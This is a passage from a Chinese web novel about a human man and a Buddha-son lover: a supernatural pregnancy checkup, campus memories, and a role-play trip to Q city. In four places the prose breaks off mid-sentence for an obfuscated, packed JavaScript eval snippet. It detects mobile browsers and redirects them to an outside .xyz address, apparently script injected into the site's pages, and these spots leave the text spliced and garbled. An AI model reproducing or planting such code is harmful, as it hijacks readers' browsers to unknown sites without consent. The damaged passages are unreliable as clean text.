在等检查结果的间隙,施霜景醒了,一醒来就点菜,缓了半晌才发现自己好像是在医院。施霜景今天没有晨吐,只是微微胸闷——但这也比前几天好太多了!施霜景严重孕反时会觉得自己的胃部皱缩成了核桃般的球,根本吃不了任何东西,根本没有任何食欲,不论装进什么都会返流出来。 罗爱曜去给施霜景买食物,留施霜景和余医生聊天。施霜景以前只听过庄晓的生育故事,这次他竟然有幸从余医生那儿听了郎放生蒋念琅时所经历的种种。余芳洲做医生时很人机,可她一讲到蒋良霖与郎放的事迹,就好像也参与了一场盛大的冒险,这是她从未有过的人生体验,直接否定了她的唯物主义世界观,余芳洲现在甚至信佛,毕竟在那场大战里没见到有佛现身,她得想尽办法寻找内心的平静。施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819928|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜景算是明白了,为什么蒋良霖没有向余芳洲仔细介绍罗爱曜,原来是怕余芳洲幻灭。 相比蒋念琅的诞生故事,原来施霜景如今孕育玉米,竟然算是准备完全、安安稳稳了。施霜景点出蒋念琅的朋友圈,怀念地翻览,余芳洲指了指三月份的一张照片,说小鼓旁边的这个女孩就是自己的女儿。 罗爱曜买了豆腐脑和锅盔,为施霜景架好床上桌,让他先吃东西。只是一周多的严重孕反就让施霜景掉了八斤,这速度太恐怖。 检查结果出来,余芳洲取报告。只隔一天而已,指标忽然大幅度好转。余芳洲连道不可思议,她再次问罗爱曜,你是哪方的神?也是地府的吗?罗爱曜只说:“你觉得我为何会驻守在D市这周边呢?” 用“驻守”二字,余芳洲马上就误会了,她在来D市的飞机上专程查询过,唉,可惜她现在是已经完全不信道教天官了,人只能信那些从不出现的东西,一出现就落了地,落地就神秘感全无。莫非这位……可是他姓罗?余芳洲真是猜不准,算了算了,病人要紧。 罗爱曜拜托余医生在大约两个月以后再来一趟,那时施霜景便可以做羊水超声检查。 施霜景好了伤疤忘了疼,严重的孕吐阶段拢共只有九天,罗爱曜做出“调整”之后,施霜景不仅孕吐好转,苏醒的时间竟然也日益增加。等到下一次见余医生,施霜景每天苏醒的时间已增加到五个半小时。 “罗先生,施先生,恕我直言,子宫里都是血么?怎么会浑浊成这样?”余芳洲边吃惊边冒冷汗,生怕自己看错,也生怕这是真实情况。 罗爱曜的解释没一句是真话,只有施霜景知道,这恐怕已经不属于施霜景能自然分泌的羊水的范畴。这是玉米在他体内做了一枚血巢,而玉米是遗传了他的爸爸罗爱曜。 早在上一次检查过后,罗爱曜便向施霜景说明所有情况:“是我自作主张地净化了一些成分。你还记得那次么,我的人身和法身都一起在酒店和你会面那次,我的须弥座中装有赤莲泉水,我以为那是只有我出生时才有的环境设置,没想到玉米诞生也需要这样的羊水。” 施霜景少见地大声教训罗爱曜:“你自作主张搞什么净化!玉米不至于害我吧!罗爱曜,我真的差点就吐死了,我第一天就呕出血了……” 罗爱曜为自己的愚蠢自罚三杯,发誓再也不干涉玉米的生长。这背后的原因,罗爱曜难以向施霜景讲述——罗爱曜原以为玉米的上限大概就是人类胎儿,比不了已有识种的佛胎,可没想到玉米竟然也会继承罗爱曜的混沌佛子邪性,不是天生地长的灵胎,竟然也有潜力做出自己的孕巢。亦或者……是施霜景的身体神奇。他的身体能容纳这人类本不能代谢的产物在体内循环,干涉反而是害他。 施霜景知道这一切发生于己身的怪异么?罗爱曜怀疑施霜景知道。 太过宽宥,进而显出海纳百川的恐怖。就像那很多很多时刻,爱沉淀下来,布在施霜景身上,像某种氛围,毛茸茸的、温暖的阴郁。就像最寻常的一幕,施霜景只是云淡风轻地坐在那儿摆弄吉他,只消抬起眼睛、望过来,便能感觉到他因接纳了所有事而满足,但这接纳行为本身已超脱人性,像无穷无尽的质问被黑夜吞吃而打出的一个饱嗝,而施霜景不是质问的人,施霜景是黑夜。 173.恋爱循环(上) 将旧寺翻改成新寺需要什么手段?施霜景一无所知。在度假村地块修一幢别墅反而是最简单的事。 反正施霜景已经辞职,在家无事可做,思来想去能干什么事呢?除了把CPA证书拿到手之外,就只剩翻翻别墅图纸,在家赖着罗爱曜,就当给自己放了一场长假,奖励他这些年又打工又上学又工作的艰苦奋斗精神。一天只醒五个小时还要看书考证,这日子太苦了,想想还是不能这样对自己,最后施霜景决定专心投入到别墅设计过程中,积极参与设计沟通环节,构思他的音乐工作室,做梦,狠狠做梦。 二人现在住的大三居只有一间卧室,剩下两间卧室分别改成了施霜景和罗爱曜的书房,施霜景的房间还额外做了隔音设计,方便他下班回家摸摸吉他。施霜景将打印出来的图纸铺在书房地上,手绘标出自己想要的东西,这里是录音室,那里是排练室,这里需要预留空间放一组接一组的音响设备,那里想要一间窄窄的休息室,方便施霜景随时随地打盹…… 喜欢一个东西是一回事,将喜欢的东西干得专业、干成事业是另外一回事。 只有一部手机、一副有线耳机就能嗨唱一整晚的日子已一去不复返。曾经再喜欢的事物也难免闲置。施霜景很久没有再登过自己的K歌账号,而那K歌的群聊上一次说话好像还是过年时候,施霜景发新年的红包。年岁渐长,曾紧抓不放的事物也缓缓松了手。不变的只有记忆里那些好与不好的极致的闪光。 施霜景依旧是安静不言的人,家里没有活生生的小猫,就连那些出乎意料的细微响声也不再有了。施霜景在房间或是客厅做自己的事,罗爱曜亦是如此。有时使用同一个空间,有时是罗爱曜从他的书房出来,接走忽然沉睡的施霜景。施霜景要罗爱曜“陪他”,其实根本不需要罗爱曜多做什么事,他们只要同处一个空间,知道你在我在就好。日子怎么能跟谁过都一样?伴侣是靠相互打磨才成为如今的榫卯结构。 那年罗爱曜成功涅槃归来,施霜景飘飘似仙,浑身有用不完的劲,带罗爱曜去看他选中的新家,打包行李,搬家,入住新屋,连续几天都去宜家闲逛,购置家具,不论有用没有全都带回家。只可惜罗爱曜一回来,施霜景考驾照的心气就散掉了,施霜景那年冬天才拿到驾照,科目三考了三次才通过。 大学如期开学,由于施霜景租房太近,他干脆连宿舍都没申请。依旧是有些难以融入的寡言帅哥,加之没有宿舍的团体情谊,施霜景神神秘秘,反倒是勾起同学对他的兴趣。开学不过一个月,一整个年级都知道施霜景是个同性恋,有人接他回家,有时那人甚至早上也送他,施霜景在校门前摘头盔,还给男友,小跑进学校,毕竟学校不允许外来的摩托车进校园。 孤儿入学有一些特殊手续要办理,辅导员好奇施霜景现在的生活状态,施霜景说自己钱够用,辅导员还是担心,怕帅哥误入歧途被骗色,施霜景挠挠头,干脆撒谎:“其实我有个很有钱的舅舅,高三那年他认我归宗了,我的高中老师都知道,我现在住的房子也是舅舅出钱,我对象是蹭我的房子住。”施霜景的微信余额比银行卡余额少了许多许多,只做日常支付,当时大概还有五六万在零钱通里滚动,他干脆就向辅导员展示了钱包,这是一个有钱但不至于太有钱的状况。辅导员松一口气,原来还是有家长呢。施霜景读大学没有接孤儿补助,把钱留给需要的人比较好。 罗爱曜喜欢把自己置身于伦理笑话里,施霜景有样学样,至此有关施霜景的班级传说就总是绕着两个男人打转,一位有钱老舅,一位软饭男友。有次施霜景和同学出去玩,唱K唱太晚,难得喝了些酒,醉醺醺地倒在KTV大厅,一个男人透过施霜景的微信与他同学交涉,希望他们等等,自己马上就来接施霜景。 同学们一看来接施霜景的人穿风衣、开贵车,下意识问罗爱曜,你是施霜景的谁?罗爱曜没多想,说是朋友不太庄重,便说自己是施霜景的舅舅。从此同学们就知道了,施霜景有个开贵车的舅舅,有个骑机车的男友,帅哥扎堆,奉行外貌至上主义,施霜景学会计是因为真的有账要管。 施霜景读大学成绩一般,但他绝不挂科,考证和期末周时会泡图书馆,因此总上表白墙。施霜景大二开始和同学组乐队,他当吉他手和主唱,施霜景的乐理知识也是那时候才恶补的,拿到谱子不仅要能读懂,还要做适当的调整。有些人大学玩乐队能玩得非常专业,可惜施霜景的乐队完完全全就是草台班子,抽一鞭子动一下,三年时间只办过一次校内的小演出,施霜景紧张得嘴里起泡,结果演出那天鼓手节奏乱得飞起,另一位吉他手也掉链子,不知道在急什么,最急的时候有野蜂飞舞的忙乱感,绿皮火车变高铁,演出就这样草草收场。 表白墙战神、会计学院伦理修罗场男神、野蜂飞舞乐队吉他手主唱、被扒出翻唱主页的古风K歌之王……施霜景两耳不闻窗外事,娱乐至上的时代,成为焦点也是一种本事,幸好施霜景身边有一块镇山石,罗爱曜只是出钱,让施霜景玩什么东西都玩得专业一点。施霜景在大学期间进了好多回录音棚,对校园乐队幻灭之后,施霜景发现事事还是要靠自己,便去找了钢琴启蒙,自己琢磨音乐玩。 说回家庭生活。施霜景在很长一段时间内,并不觉得罗爱曜在涅槃前后有什么大差别。一样天马行空,一样捉摸不透,一样隔岸观火,一样混邪看戏。原来涅槃不涅槃根本不会影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大二暑假,施霜景闲得不行,罗爱曜便撺掇施霜景和他玩些新奇的东西。恋爱正到第三年,需要一些新鲜刺激,罗爱曜强调了此类恋爱刺激的必要性,提出:“你带我出去玩吧?你是男大学生,我是有钱有闲没有快乐的上班族……” “罗爱曜,手机给我看看。” “……” 施霜景翻看罗爱曜的浏览记录,哈,果然让他翻到了。大学生陪玩,男大陪玩,男大陪爬泰山……恋爱第三年,施霜景对罗爱曜的理解已达化臻境,罗爱曜一热演,施霜景就知道他肯定是被什么东西勾起兴趣了。 “罗先生,这都哪年的趋势了,玩点什么新的不好,非玩这么土的。”施霜景将手机还给罗爱曜。 其实施霜景这个回应,表示他已经同意了一大半。罗爱曜继续热演:“施同学,出去玩吧,带我出去玩吧。” 174.恋爱循环(中) 事情怎么会变成现在这样?施霜景真是着了罗爱曜的道!此人提一次、两次,第三次时施霜景总会答应。 问罗爱曜,你想去哪里玩?罗爱曜答,哪里都可以,反正出去玩就行。罗爱曜这人看着沉稳无双,实际很喜欢往人群里钻。信徒供奉他的佛子像,他也反过来借佛子像作龙天耳目,什么八卦都听个齐全,借佛子像的显色与信徒互动,还对人类的怪癖感兴趣,经常作仔细的、过于仔细的学习。他与外人的交流也从未少过,别看他每天都在家写经、在法界做仪轨检验,实际他在涅槃之后就重新建立了与其他诸佛的交流,一下变得信息繁忙起来。 对此,施霜景表示,还是忙点好,罗爱曜闲下来是要找事的。这不,这就给施霜景找事干了。和罗爱曜比起来,施霜景在社交方面堪称素淡,同别人出去玩几个钟头,得回家缓一整个晚上,他打工的精力都比社交时旺盛。 施霜景就着罗爱曜的手机看他之前浏览过的内容,琢磨什么叫“男大陪玩”:“别人都是请当地的大学生陪玩……当地……我们就在市里玩?我去过的地方还没你多呢。” “我就是有些想念这种半生不熟的感觉。” 罗爱曜的总结令人更加摸不着头脑。施霜景不由得怀疑罗爱曜的动机:“是你怀念半生不熟,还是觉得我们现在的关系没滋没味了?” 他俩从相识之初就拌嘴,按理说两人都不是喜欢动嘴的类型,尤其施霜景——偏偏是面对罗爱曜时,他嘴比心还快,打过的直球不知有多少,随口一问也如此致命。罗爱曜言语间很有冤枉意味,“我很享受各种身份,你又不是不知道。男大陪玩,得是男大才行,你是大学生,我没上过大学。” “这时候又说你没上过大学了!”施霜景气笑,他年纪往上涨,罗爱曜反倒是变幼稚。算了算了,施霜景自我安抚,罗爱曜只是想玩,又不是想要天上的月亮,反正施霜景也闲,情趣,都是情趣。 施霜景不擅长做计划、攻略,想这些东西会令他焦虑,以前出去玩大多都由罗爱曜包办,抑或是两人一起保持空白,只订票、订酒店,剩下都等落地再说。网上那些陪玩过程都像是做了严密的计划,施霜景问罗爱曜想去哪里,罗爱曜知道此时如果说“随便”二字,会有全盘皆输的风险,搜肠刮肚一番,抛出选项:“如果在南方,我想去Y省。如果去北方,Q市或是L市都不错。” 有了选项就好办。施霜景去取了草稿纸来,盘腿坐到茶几前,玉米也扬着尾巴跑来和他一起坐地毯。施霜景想起上次和罗爱曜一同去看海的快乐,他期末考结束得早,赶赶趟能在气温没变蒸笼之前就玩完收工……他选择去Q市,有山有海有美食,而且Q市的交通不是很方便自驾,可以全靠公共交通和打车,施霜景不太喜欢在陌生的城市开车,会加重他的紧张和焦虑。 施霜景直勾勾盯着玉米,玉米翻起肚皮,做好了被揉捏的准备。可怜的小猫,第二天他就被施霜景送去靠谱的朋友家寄养,两张机票把施霜景和罗爱曜送去Q市。 从出发那一刻起,罗爱曜就成了罗先生,施霜景就成了施同学。“半生不熟”,因陪玩还有点服务性质,施霜景获得特批经费伍万元,罗先生表示:“你随意安排,我全程跟着你玩。我呢,饮食方面比较挑剔,但海鲜水产只要新鲜我就不大会拒绝。住宿我一定要住贵的、好的地方,我看重睡觉,易失眠、惊醒,床品的品质非常重要。你不开车,我可以接受,但除非火车、轮渡等必要的公共交通,我不坐公交、地铁……” 施同学记录着,几次都很无可奈何地望过来,最终还是压住了打断的欲望,把罗先生的要求都记下。酒店得换一家了,这人不好糊弄。施霜景心生一计,操作中。他不知道罗爱曜有没有读他的心,管他呢,都热演上了,施霜景心里有点微妙的对抗欲——有些像家长放手了、逼迫孩子做旅行计划,孩子觉得何必如此,又想争口气,所以一边要干好,一边又要下点无伤大雅的绊子——便是这样的对抗欲。 飞机咻一下飞到目的地。施同学好似已经接受了自己的角色设定,亲切地接过了罗先生的行李箱,“我来吧,你往前走,我们先去打车。你饿不饿?我们要不要先吃饭再去酒店?” “你饿么?我们中午吃什么?”罗先生高挺的鼻梁上架着墨镜,若是有摄像头正在录vlog,只能明确他矜贵高傲的气质,因看不见表情而更有遐想余地。 “要不要中午就去吃海鲜?海肠捞饭?” 施同学完全男大学生打扮,两人只用服装就看出年龄差,罗先生的多金是用工龄换的,施同学则因年轻而清澈、贫穷。施同学在他二十二岁十一个月的当下,账户里有多少钱都看不出他是个有钱人。 “我们一共玩几天?” “大概五天?罗先生之后有安排吗?”施同学笑得灿烂,“我刚放暑假,反正没事干,之后也暂时没有单子,多陪罗先生两天也行。” 什么叫“之后暂时没有单子”?罗爱曜心情一下不明媚了。上车,憋不了,当着司机的面发难:“那就玩五天吧,不耽误你后面的单子。” 施同学没空理他,双眼盯着打车软件,确认司机没有绕路。脑内过一遍今天的安排,施同学直接跨过了罗先生的阴阳怪气,流利道:“我们先去酒店放行李,然后去吃午饭,虽然可能吃上的时候已经下午两点过了。我们今天就在酒店附近的景点逛一逛,有栈桥、教堂,还有好些公园。你涂防晒了吗?” “没有。” “我这里有防晒霜,要不要涂点?” 罗爱曜这辈子第一次涂防晒霜,稀奇。事情往某个很诡异的方向发展而去,罗爱曜读到司机的想法:这是导游还是伴游?这男孩一听口音就不是本地人。 施同学果然把罗先生的需求放在第一位,定了市中心的高档酒店,拥有最佳海景观赏位。前台确认了订单,要提供入住人的身份信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗爱曜:我很满意你定的这家酒店,听说夜景很好看。我刚才上去看过了,海景至美。 小景:我已经定好餐厅了,你下来没? 罗爱曜:我已在大厅。 小景:稍微等我一下,我收拾收拾。 罗爱曜:晚上来我这睡吧。 小景:那我不白开房间了?还是分开睡吧。你不要败坏人家陪玩的名声。 罗爱曜:那我晚上去你那儿睡。 小景:你好好休息,就几晚分开睡而已。我只定了一晚上的连锁酒店是因为我抢到了一夜的折扣,晚上回来我再看看有没有连续三晚的优惠。 罗爱曜有点难受了。事情怎么会变成现在这样?罗爱曜或许忘了,施霜景本就是一块硬骨头,好不容易煨软了,退回到半生不熟的状态,这咋办?这太搬起石头砸自己的脚了。罗爱曜紧急思考对策。 175.恋爱循环(下) 施霜景没有生气。既然要与罗爱曜玩这个游戏,不投入一定精力做设计,罗爱曜未必会玩得尽兴。而且就算分开睡了,难道罗爱曜就真不会继续监视施霜景么?施霜景早就习惯被罗爱曜以各种方式监视,甚至乐在其中。什么锅配什么盖,高控制欲的人配上享受被关心的人,病态得严丝合缝。 施同学微笑着在酒店大堂接到罗先生,罗先生方才在微信里露出慌乱迹象,见面又如常了。他们打车去吃海肠捞饭、蚬子、虾蛄、扇贝和笔管。中午就吃这老大一顿,施同学殷勤地为罗先生布菜,罗先生今日装人类格外像,也不挑食了,就好像真是个老饕般,点的菜全入口,还装模作样点评一番。 期间施同学顺从地点头附和罗先生,吃了满腹高蛋白,很满意自己挑的馆子,因为装作半生不熟,两人好像有剧本一样,倒是不需要那么深入地谈自己的感受了。服务别人不需要带脑子,捧着、托着就好。 这滋味真奇妙啊。如果他们就以平常的身份来游玩,施霜景肯定在桌前聊些逻辑跳跃的天了,聊聊海风,聊聊当地海鲜价格,聊聊刚刷到的旅游新鲜资讯……罗爱曜则也偶尔刻薄地点评一番,他喜欢将自己的经验做各式各样的对比,他喜欢掐尖,吃到用到喜欢的,就将心里的老尖掐掉,喜新厌旧。 施同学:“罗先生,吃好了么?” 罗先生:“差不多了。你呢?” 施同学:“我也饱了。我们是不是战斗力有点差?剩得有点多啊……” 罗先生:“我可以打包,我的酒店有冰箱。” 施同学:“海鲜不能隔夜,罗先生今天能吃完么?” 演到这里,罗先生忽然将那随意的眼神换成他惯常的、摄人心魄的凝视,是回到罗爱曜的身份,罗爱曜给了一个中场休息的信号——给施霜景递了清口的口香糖,“今晚来我那儿吃,吃完我送你回你的酒店。” 施霜景接了口香糖,立刻拆开包装送进口中,“我演得怎么样?其实当陪玩还挺轻松的……不是说做计划轻松,我的意思是,原来不带感情地陪人是这种感觉。” 这话微微有些刺痛,刺痛的是施霜景自己的心。他几年前如果是以稍微熟练的姿态面对佛子,会不会就完全是另一种结局了?施霜景太早就交出自己的心,怎么玩这游戏都是希求不输。 “我昨晚和早上都没有好好向你解释,施霜景,我说的‘陪玩’只是我‘跟着’你玩,你更有主动性、目的性,一切都由你安排。我想知道做甩手掌柜是什么感觉。”服务员适时送来打包盒,罗爱曜自如地打包剩菜,沿用施霜景的旧习惯,罗爱曜继续说,“我们可以扮演典型的陪玩关系,也可以自然一些。我随时可以切换,一会出门了我可以马上做你的舅舅、你的男友。最重要的是,你也要玩得开心。” 罗爱曜一通头脑风暴,最终还是选择柔情牌。施霜景最受不了罗爱曜的温情攻势,吃软不吃硬的极致。 施霜景看了看时间,他们接下来没什么安排,这顿午饭的时间卡得尴尬,海风燠热,吃饱了出去散步也挺辛苦,其实最好是夕阳时分再出动,逛到那小太阳慢慢慢慢地熔化进海里,然后他们再转战吃些夜宵。施霜景想,他应该还是会去罗爱曜的酒店,不吃夜宵了,把剩菜吃完就好。 “我要是玩得不开心了,我会告诉你的,放心。既然我答应陪你出来,做你的陪玩导游,我就会负责到底。我没有阴阳怪气,我是认真的。罗爱曜,我觉得这真的很有意思——我们对彼此都很客气、有距离,有点像单纯的生意关系,但又得演出些许暧昧……” 施霜景在罗爱曜的手机中,从默认无备注、使用微信原名,到上大学后被改备注为“小景”,施霜景整个是被换了盆地培养,从贫土换到现在无尽可能性的沃土,他浑身的感受性都被打开了,体味点点滴滴细微的情感流动,反哺自己的唱歌与未来的创作。施霜景语文不差,总结能力也好,但凡他描述自己的感情,绝大多数都是真的,不需要怀疑他心口不一。 罗爱曜信施霜景的话,回到罗先生身份,提议他们打车先回酒店,将剩菜放进冰箱,再重新从酒店出发。 施同学在酒店大堂专心致志地划手机,罗先生问他在看什么,施同学表示自己在恶补拍照知识,要给客户拍照才行啊。 说来有些酸掉牙,施霜景的手机壁纸从某一日起就一直是罗爱曜了,新照换掉旧照,但反正总是他。罗爱曜的手机壁纸则是他抓拍的施霜景与玉米的生活照。他们太难凑出一张全家福了,主要是没有合适的人能进他们家,还能拍到这一幕。自拍全家福会傻乎乎的,不自然。 罗先生长相昳丽到一定地步,有妨害记忆之嫌,像闪光灯闪进人眼底,造成突盲,眼明之后又忘记刚才看见了什么。罗先生从前就一直控制着自己的容貌不要太令人瞩目,可旅游嘛,总是要留下很美好的一面,更何况施同学还要给他拍照。 他们步行前往海边景点,人多得离谱,施霜景则有备用计划,他们打车去另一条海边长廊,背靠栈桥。施同学打开九宫格参考线,头要放到这条线,身体要放在这一格……施同学拍一张图的功夫,旁边的路人都拍十张图了。 有独自来旅行的姑娘默默举起相机,临到罗先生、施同学要走时,鼓起勇气问他们要不要图,免费的。施同学加了姑娘微信,收到一箩筐美图,发现姑娘竟然还给他拍了许多张,有几张是海鸥鬼鬼祟祟地接近施霜景,可能是看中了施霜景手里的外卖盒子。施霜景收起陪玩的角色,真挚请求姑娘为罗爱曜和他拍些合照,随后他们又收到一箩筐完美双人照。 姑娘收到施霜景的两百块红包,怪不好意思的,说道:“我还以为你是他的私人导游或者经纪人……原来你们是一对啊!” “我男朋友长得很好看吧!”施霜景小小地得意。 “肉眼比相机里还好看十倍。你也很帅啊!你俩有账号吗?” 施霜景有账号,但不是露脸的那类账号,便说自己没有。罗爱曜选照片中,挑了一张施霜景弯出笑眼而自己也笑颜自然的双人照,换成微信聊天背景。他支起耳朵听两人聊天,插嘴道:“要不是我长得好看,我男友对我的态度可不会那么好。” 罗爱曜纯属胡说八道了,施霜景哪有见人的样貌下菜碟?可他说的又没错……遥想当年罗爱曜找上门,没被施霜景打出去的唯一理由大概也是因为这张静而美的脸吧。只要将脸递上去,施霜景就会消气。施霜景就是这样没有原则。 大家扯了十分钟闲篇,二人与姑娘告别。回到城市风情街区,施同学程序性地介绍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852694|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地标,罗先生专心致志地听,晚饭吃得简单,罗先生又恢复了那个不食人间烟火的模样。彻底入夜,施同学发出一声长长叹息,揭下了这疲劳的陪玩面具,“今天说了太多话,我好累。” 罗先生说:“我听得很开心,明天可以继续。” 施同学只好又戴上面具。他本以为晚上随罗先生回酒店,收拾剩下的一些小海鲜,罗先生会向他撒撒娇,可罗先生好像给自己做好了心理疏导,下午那一连串对话拉扯像假的一样。穿着浴袍的罗先生挥别施同学,大家还是早点休息为好,毕竟明天要爬山。 是的,没错,罗先生既然看到了“男大陪爬泰山”,那他就会期望收获“男大陪爬崂山”的服务。施同学口干舌燥,说话说太多有些脑子麻木,他回到连锁酒店,刷开房门,插上房卡,床尾一个巨大的身影折叠着坐在地上,面朝窗户、背靠大门,像一尊昂贵华丽假人从博物馆被人偷出来,暂时安置在这里。施同学去楼下大堂加热了夜宵,又点了一杯柠檬茶外卖,这就准备再吃点。 再一见到浑身琳琅珠玉的罗爱曜法身,施霜景忽然起了玩心,放下夜宵,跳到床上,支起身体,玩罗爱曜法身的发饰,那一粒粒嵌进发丝的宝石美玉,施霜景说:“我还是比较喜欢你……你不会为难我。” 佛子不语,顺从地让施霜景玩他身上的饰物。 施霜景和罗爱曜常常进行这样小小的博弈,当是找乐子。施霜景以为罗爱曜会再挽留挽留他,可罗爱曜只是不言不语地将自己的法身送过来,现身,一种无声的温和抗议。施霜景又说:“你就不像人身一样,鬼点子那么多。我们真的好奇怪啊,玩这种游戏,拉拉扯扯的,真有点当初搞暧昧的感觉……” 罗爱曜在心里送话来:我和你搞暧昧的时候都还睡在同一张床上。 施霜景:…… 罗爱曜:我还是不明白,你为什么要分开订房。 施霜景:你真不明白? 罗爱曜:我需要明白什么? 施霜景:我不想一边喊你金主,一边跑去给你暖床,这很难理解吗?我还是不喜欢这种感觉。要服务就纯服务,要谈恋爱就纯谈恋爱。 罗爱曜:…… 施霜景:…… 罗爱曜:你想起以前的感觉了。我是不是没有说过…… 施霜景:说什么? 罗爱曜:我见你第一面的时候就在想,我要用什么手段把你留下来永远陪着我。 施霜景:什么手段? 罗爱曜:这就不方便明说了。我想说的是,我们只是“看起来”像这种关系,但从来不是这种金主和包养的关系。一开始就不是。 施霜景:我知道啊。这和我感觉到的有冲突么?因为我们从来不是那种关系,所以我跑去陪你睡……这很奇怪啊! 罗爱曜:你别玩我的发饰了,专心一点。 施霜景:我很专心。我就是有点尴尬,才和你的法身互动。我也觉得床有点空。唉,不然让法身今晚陪我睡吧! 罗爱曜:不,我不陪你睡。你今晚自己睡。 罗爱曜:施同学,明天要爬崂山,早点休息吧,晚安。 施霜景:罗先生,我没抢到接下来三晚的酒店优惠。 罗爱曜:嗯哼,晚安! 176.永夜(上) 老实说,正如罗爱曜前一天送来的那句话——“我和你搞暧昧的时候都还睡在同一张床上”——施霜景上一次独眠是什么时候?这一细想就很恐怖了,谈恋爱谈到这一地步,他们在大学附近租房都只设了一间卧室,根本没有分床睡的机会。上一次独眠是什么时候?是等罗爱曜涅槃那几日吗?施霜景一宿睁眼好几回,确认时间,分别是三点五十九分、五点十四分和七点二十二分。床尾那模模糊糊的人影好像淡入夜色里,平时怎么赶也赶不走的,轻轻一闹分床就气跑了。施霜景觉得好笑,吐掉口中的牙膏泡沫,八点准时出门,去海景酒店找罗爱曜。 罗爱曜叫施霜景上楼,房门从内自动打开,罗爱曜本人陷在被窝里,窗帘拉得死紧,密不透光,施霜景望罗爱曜的睡颜有些心馋,便蹑手蹑脚地脱掉牛仔裤,钻进罗爱曜的被窝。 两人睡到十点钟,罗爱曜才好像终于醒转过来,第一句话便是:“你这样做,违反职业道德。” 施霜景睡了回笼觉,才不管罗爱曜说什么职业道德不道德,翻个身还想再赖五分钟。罗爱曜摇醒他,罗先生与罗爱曜结合,说:“这个点出发已经晚了,不是要去爬山么?” 施同学已做好完备的攻略,表示上下山都有索道,而且……人家是道教名山,你坐索道上下看看风景就得了,你还真打算爬么?施同学咽下这句吐槽。 施同学没想到,罗先生竟然真准备爬。中午十一点爬太清线,大把的人都已经往回走了,他们才抵达入口,只能说幸好罗先生没有钦点其他几条线,要么陡要么长,罗先生只选了个经典路线。Q市七月的天气有时挺吊诡,冷冷热热没个定数。施同学随便糊弄了早餐,就跟罗先生一起爬山,他是陪玩的男大学生,东西当然都该他背——施同学背着书包攀楼梯,罗先生就跟在他身后优哉游哉看风景。 海风和畅,天朗气清,施同学体力不错,一路上也见到有家长带小学生年纪的孩子爬山,总不能比不过小孩子,施同学走走停停,到一个点就走进去转悠一圈,太清宫、老子像全都看了,全然忘记背后跟了个佛。此佛显得比施同学还悠哉,这里摸摸、那里摸摸,全真七子像摸摸,老子像也摸摸,各种石头都瞧一瞧。 再往上去明霞洞就上强度了。不看见缆车索道还好,一看见索道,施同学便开始喘。时间已达中午,气温上来,阳光直晒,施同学汗流浃背,罗先生倒是干干爽爽,像坐车上来的。两人的先后调转过来,罗先生走在前,等施同学跟上。施同学不信邪,咬牙往上爬,结果看完明霞洞发现只是一个洞,施同学有些破防。罗先生每次遇到观海平台都会等施同学为他拍照,施同学拍照技术果然还是不行,也可能是手机不行,能把这么帅的人拍得这么游客也是一种本事。 俗话说上山容易下山难,施同学需要控制游玩时间,确保他们在摆渡车停运、景区关闭之前能顺利离开,可是下山也太难了!施同学这一年懈怠有氧训练,被景区制裁了。罗先生仗着自己不是人,走得轻松自在,步频都不带变的,幽灵一般。施同学休息的次数变多,罗先生凑上来问他:“要我帮你背书包吗?要喝水吗?” 施同学爬山爬得苦哈哈,试探罗先生,要不要在下一个景点就转乘摆渡车,迅速抵达景点算了。罗先生不放过他,还说:“昨天我让你早点休息,你没睡好?我睡得很好。” 施同学心里有个秒表掐得极紧,自己给自己上强度,他们出发晚了,现在已经下午三点,不坐车真的会来不及。他向罗先生解释了两三遍,罗先生还执拗,认为一定能爬完。终于,在抵达一处景点时,施同学坐在台阶上,半屈身体,好像是肚子不舒服。 罗先生抱着手臂观察了几秒,发现施同学是真的难受,他松开双臂,蹲下来,要细看施同学的表情。施同学出汗又脸色发白,他的难受不是拉肚子的难受,就是热极又喝多水之后的肠胃炎前置的难受。 罗爱曜左右观察山道,四下无人,他叫施霜景掀起一点上衣,准确找到病灶,并施以治疗。施霜景好些了,还未等施霜景出声,罗爱曜转身,蹲下,“赶时间,等不到你求我了。” “我们坐车就好了啊!” “就当我拿一个小时的男大陪玩体验卡罢了。施先生,你可以享受我的服务。” 这真叫人难以发火。施霜景爬山爬出的一肚子火立刻烟消云散,他爬上罗爱曜后背,罗爱曜掂了掂,换了最稳当的姿势,便开始步速惊人地下山。 